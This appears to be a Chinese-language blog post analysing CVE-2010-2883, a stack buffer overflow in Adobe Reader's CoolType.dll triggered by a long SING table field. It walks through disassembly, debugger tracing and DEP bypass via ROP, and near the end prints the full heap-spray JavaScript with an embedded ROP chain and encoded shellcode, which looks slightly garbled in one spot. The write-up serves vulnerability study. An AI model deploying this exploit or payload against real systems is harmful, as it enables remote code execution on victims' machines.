漏洞分析之CVE-2010-2883(栈溢出)

之前调过一个关于浏览器的漏洞,因为第一次接触漏洞,所以很没有经验不知道最后怎么构造shellcode(特别是ROP链的写法),有幸再调试一个稍微简单点的CVE,具体查看poc中的ROP链编写。

0x00 漏洞简介

Adobe Acrobat和Reader都是美国Adobe公司开发的非常流行的PDF文件阅读器。
基于Window和Mac OS X的Adobe Reader和Acrobat 9.4之前的9.x版本,8.2.5之前的8.x版本的CoolType.dll中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有TTF字体Smart INdependent Glyphlets (SING)表格中超长字段的PDF文件执行任意代码或者导致拒绝服务(应用程序崩溃)。

0x01 测试环境

虚拟机 winxp sp3 32bit
adobe Reader 9.3.4

利用OD以及IDA进行动静态结合的逆向分析

0x02 漏洞调试

0x1 基于字符串定位的漏洞分析方法

首先进行漏洞定位,这是分析的起始步骤,找到漏洞产生的现场,作为一个典型的stack overflow的漏洞,最典型的函数就是Strcat函数,同时本漏洞出现的原因是在堆SING表格的解析上,所以我们可以直接利用IDA分析(CoolType.dll文件)定位漏洞所在位置,alt+t搜索SING字符
这里写图片描述
利用IDA静态查看出问题的CoolType.dll动态链接库

.text:0803DCF9                 push    ebp
.text:0803DCFA                 sub     esp, 104h;分配栈空间0x104
.text:0803DD00                 lea     ebp, [esp-4];后面的strcat会把执行结果保存在ebp中
.text:0803DD04                 mov     eax, dword_8230FB8
.text:0803DD09                 xor     eax, ebp
.text:0803DD0B                 mov     [ebp+104h], eax
.text:0803DD11                 push    4Ch
.text:0803DD13                 mov     eax, offset loc_8184A54
.text:0803DD18                 call    __EH_prolog3_catch
.text:0803DD1D                 mov     eax, [ebp+arg_C]
.text:0803DD23                 mov     edi, [ebp+arg_0]
.text:0803DD29                 mov     ebx, [ebp+arg_4]
.text:0803DD2F                 mov     [ebp+var_28], edi
.text:0803DD32                 mov     [ebp+var_30], eax
.text:0803DD35                 call    sub_804172C
.text:0803DD3A                 xor     esi, esi
.text:0803DD3C                 cmp     dword ptr [edi+8], 3
.text:0803DD40                 mov     [ebp+var_4], esi
.text:0803DD43                 jz      loc_803DF00
.text:0803DD49                 mov     [ebp+var_1C], esi
.text:0803DD4C                 mov     [ebp+var_18], esi
.text:0803DD4F                 cmp     dword ptr [edi+0Ch], 1
.text:0803DD53                 mov     byte ptr [ebp+var_4], 1
.text:0803DD57                 jnz     loc_803DEA9
.text:0803DD5D                 push    offset aName    ; "name"
.text:0803DD62                 push    edi             ; int
.text:0803DD63                 lea     ecx, [ebp+var_1C]
.text:0803DD66                 mov     [ebp+var_11], 0
.text:0803DD6A                 call    sub_80217D7
.text:0803DD6F                 cmp     [ebp+var_1C], esi
.text:0803DD72                 jnz     short loc_803DDDD
.text:0803DD74                 push    offset aSing    ; "SING"
.text:0803DD79                 push    edi             ; int
.text:0803DD7A                 lea     ecx, [ebp+var_24];一个指向虚表的指针
.text:0803DD7D                 call    sub_8021B06;处理SING表
.text:0803DD82                 mov     eax, [ebp+var_24]
.text:0803DD85                 cmp     eax, esi;判断是否为空
.text:0803DD87                 mov     byte ptr [ebp+var_4], 2
.text:0803DD8B                 jz      short loc_803DDC4;这里不跳转
.text:0803DD8D                 mov     ecx, [eax];字体资源版本号,这里是1.0版本
.text:0803DD8F                 and     ecx, 0FFFFh
.text:0803DD95                 jz      short loc_803DD9F;这里跳转
.text:0803DD97                 cmp     ecx, 100h
.text:0803DD9D                 jnz     short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F:                            ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F                 add     eax, 10h;寻找uniqueName,相对sing表入口偏移0x10
.text:0803DDA2                 push    eax             ; Source
.text:0803DDA3                 lea     eax, [ebp+0];前面提到的申请的变量空间
.text:0803DDA6                 push    eax             ; Dest
.text:0803DDA7                 mov     byte ptr [ebp+0], 0
.text:0803DDAB                 call    strcat;最后产生溢出的漏洞点

由上述汇编代码来看,漏洞产生的根本原因是在copy字符串时没有对字符创的长度进行检测,导致恶意数据覆盖返回地址,造成栈溢出。

0x2 SING数据结构分析

这里介绍一款PDF二进制分析工具 PdfStreamDumper,用工具导入利用漏洞的PDF文件,在Object中找到Sing的Object,右键选择Save Decompressed Streams保存到本地。在保存的文件中能看到TableEntry数据结构

typedef sturct_SING
{
    char tag[4];//"SING"
    ULONG checkSum;//校验和
    ULONG offset;//相对文件偏移
    ULONG length;//数据长度
} TableEntry;

这里写图片描述

根据TableEntry结构可知从SING入口偏移0x11c为SING真实数据,从书上知道了SING从真实数据偏移0x10为uniqueName域,从代码上可以看出strcat是将uniqueName复制到栈空间,直至遇到NULL字符串终止符。
这里写图片描述

0x3 Ollydbg动态调试

  1. 打开Adobe Reader,OD附加,f9
  2. ctrl+g:803DD9F,f2
  3. Adobe Reader中打开msf.pdf
  4. OD中断到803DD9F处

这里写图片描述
这段汇编将已经在内存里的uniqueName域copy至程序所运行的栈中,查看相关内存已经找到了SING中的数据
这里写图片描述
这里写图片描述
从第一个4byte到最后一个覆盖的地址,可以发现有0x328-0x12C=0x1FC byte
一直执行到83DDAB,造成缓冲区溢出
溢出修改了一个虚表的指针使得指指向你精心构造的ROP链

这里为了方便调试将刚刚写入占中的地址全部设上访问中断
这里写图片描述
这样以来就可以在接下来对刚刚复制的恶意数据进行跟踪,调试。

恶意数据跟踪调试

这里取了第一个字节
这里写图片描述


这里循环取出 在栈里面的恶意数据 注意这里取出的是4byte
这里写图片描述


将栈上的数据复制到0x491274
这里写图片描述


内存访问断点断在了 一个将0x495220c写入0x12e608内存处
这里写图片描述


到这里才到关键点,有一个调用虚表的指令,一开始虚表是存在栈上的,但是被我们溢出覆盖成了恶意地址
这里写图片描述

ROP链构造

因为软件本身自带DEP数据保护,所以这里我们需要构造DEP链来绕过它,构造ROP链的过程很巧妙。大体绕过DEP的思路如下:

  1. 利用heap spray的方法将将0x0c0c0c0c处的内存喷上自己的shellcode(这里的shellcode要伪造成用户堆栈,需要有大量的ROP以及函数调用参数组成)
  2. 构造相关ROP使得0x0c0c0c0c成为当前程序的堆栈来执行伪造的堆栈

这里我们采用了两条ROP指令将esp指向0x0c0c0c0c

首先我们看一下构造的shellcode

这里写图片描述

这里写图片描述

我们选取的ROP地址一个是0x4A82A714,另一个是0x4A80CB38,他们都位于icuncnv36.dll的地址空间,而在Adobe Reader的各个版本上,这个DLL两个地址不会随着改变,这也是我们选取他们的原因。

我们看一下他们的汇编指令
0x4A80CB38
这里写图片描述

leave:
mov esp,ebp
pop ebp

使得sp指针指向0x4A82A714,这里很巧妙的应用了该指令


0x4A82A714
这里写图片描述
现在栈顶应该是0x0c0c0c0c这样直接pop就直接可以到rop链那
最后成功到达rop链,这里总结一下ROP的精髓是控制esp也就是栈顶指针为你所用,其实是个栈翻转的作用,这里用了两次栈翻转,第一次没有shellcode,中间中转一下利用 第二个翻转将esp指到了shellcode的位置,这也ROP的巧妙之处吧。
一般运用stack pivot技术的时候一句xchg eax,esp就能够起到作用。


下面就是执行shellcode的过程了

这里写图片描述

这里写图片描述
将shellcode写在可以执行的内存上,从而绕过了DEP

0x4 heap spray技术应用

<script type="text/javascript">
var s = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%u91be%u7e18%udb51%ud9c4%u2474%u5af4%uc931%u31b1%u7231%u0313%u1372%uea83%ufa6d%uad8b%u7965%u4e73%u1e75%uabfd%u1e44%ub899%uaef6%uede9%u45fa%u05bf%u2889%u2968%u863a%u044e%ubbbb%u07b3%uc63f%ue7e7%u097e%ue6fa%u7447%ubbf7%uf210%u2baa%u4e15%uc777%u5e65%u34ff%u613d%ueb2e%u3836%u0df0%u309b%u15b9%u7df8%uad73%u0aca%u6782%uf203%u4629%u01ac%u8e33%ufa0a%ue646%u8769%u3d50%u5310%ua6d4%u10b2%u034e%uf443%uc009%ub14f%u8e5e%u4453%ua4b2%ucd6f%u6b35%u95e6%uaf11%u4ea3%uf63b%u2009%ue844%u9df2%u62e0%uc91e%u2898%u0c74%u572e%u0e3a%u5830%u676a%ud301%uf0e5%u369e%u0e42%u1bd5%u87e2%uc9b0%uc5b7%u2442%uf3fb%ucdc0%u0783%ua7d8%u4c86%u5b5e%uunescapefa%u5b0b%udea9%u3819%u4d2c%u91c1%uf5cb%uee60' );
var a = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (a.length + 20 + 8 < 65536) a+=a;
c = a.substring(0, (0x0c0c-0x24)/2);
c += s;
c += a;
f = c.substring(0, 65536/2);
while(f.length < 0x80000) f += f;
k = f.substring(0, 0x80000 - (0x1020-0x08) / 2);
var NwBg = new Array();
for (OYV=0;OYV<0x1f0;OYV++) NwBg[OYV]=k+"s";
</script>

因为pdf支持javascript脚本,所以利用javascript代码进行内存喷射,将shellcode重复写到内存上

0x03 漏洞验证

选用的是msf生成的poc文件,主要功能是弹出计算器,下面结合该poc文件进行相关漏洞分析预测试

这里写图片描述

漏洞执行成功

发布了99 篇原创文章 · 获赞 51 · 访问量 71万+

猜你喜欢

转载自blog.csdn.net/qq_31481187/article/details/74093072